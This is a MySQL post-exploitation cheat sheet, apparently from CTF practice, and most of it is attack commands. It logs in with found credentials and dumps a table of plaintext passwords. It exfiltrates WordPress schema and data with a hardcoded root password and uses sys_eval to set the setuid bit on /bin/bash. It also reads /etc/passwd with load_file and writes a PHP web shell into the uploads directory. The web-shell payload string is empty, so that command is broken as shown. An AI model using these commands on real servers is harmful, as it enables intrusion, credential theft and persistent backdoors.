MySQL
Connecting to a MySQL service with found credentials, enumerating databases and tables, and a set of post-exploitation tricks: exfiltrating schema and data, running system commands, reading files, and dropping a PHP backdoor.
Connecting with Credentials
mysql -u root -p -h 10.10.93.144 -P 3306
A sample session: list the databases, switch to one, list its tables, and dump a table that holds credentials and a flag.
SHOW databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| users |
+--------------------+
USE users;
MySQL [users]> use users;
Database changed
SHOW tables
+-----------------+
| Tables_in_users |
+-----------------+
| User |
+-----------------+
SELECT * FROM User;
+----------+---------------------------------------+
| username | password |
+----------+---------------------------------------+
| ramen | noodlesRTheBest |
| flag | thm{2f30841ff8d9646845295135adda8332} |
+----------+---------------------------------------+
View and Connect to a Database
To see what databases are available to the user you've logged in with, use the "show" command. To start working with one, use the "use" command.
show databases;
use databasename; |
A trick for running a query straight from the shell:
mysql -u user -p --execute="show databases" |
Table Viewing and Manipulation
The two most important things to know are how to see the tables of a database and view a table's contents.
show tables;
select * from tablename;
To see information about a table, such as its schema, use the "describe" command.
describe tablename;
Advanced MySQL Commands for Hackers
Creating a Local Database
create database wp_hacked;
use wp_hacked; |
Importing data from a SQL file is easy:
mysql -u root -p database < wp_db.sql
Ex-Filtrating Database Schema
The user is "root" and the password is "plbkac". Yes, there isn't a space between "-p" and the password. That is the way you do it.
mysqldump --no-data -h 192.168.0.26 -u root -pplbkac wordpress > wp_db.sql
If you just want one table with no data, try this:
mysqldump -d -h 192.168.0.26 -u root -pplbkac wordpress wp_users > wp_users.sql
Ex-Filtrating Data
mysqldump --tab=/tmp -h 192.168.0.34 -u root -pplbkac wordpress wp_users wp_users;
Running System Commands
select sys_eval("whoami");
select sys_eval("chmod u+s /bin/bash");
Reading Data
It is possible to read sensitive files using MySQL commands.
select load_file("/etc/shells");
select load_file("/etc/passwd");
Create Backdoor PHP Script
This creates a PHP backdoor script that executes commands against the system. You can easily call home with a reverse shell.
SELECT "" INTO OUTFILE "/var/www/html/wp-content/uploads/shell.php";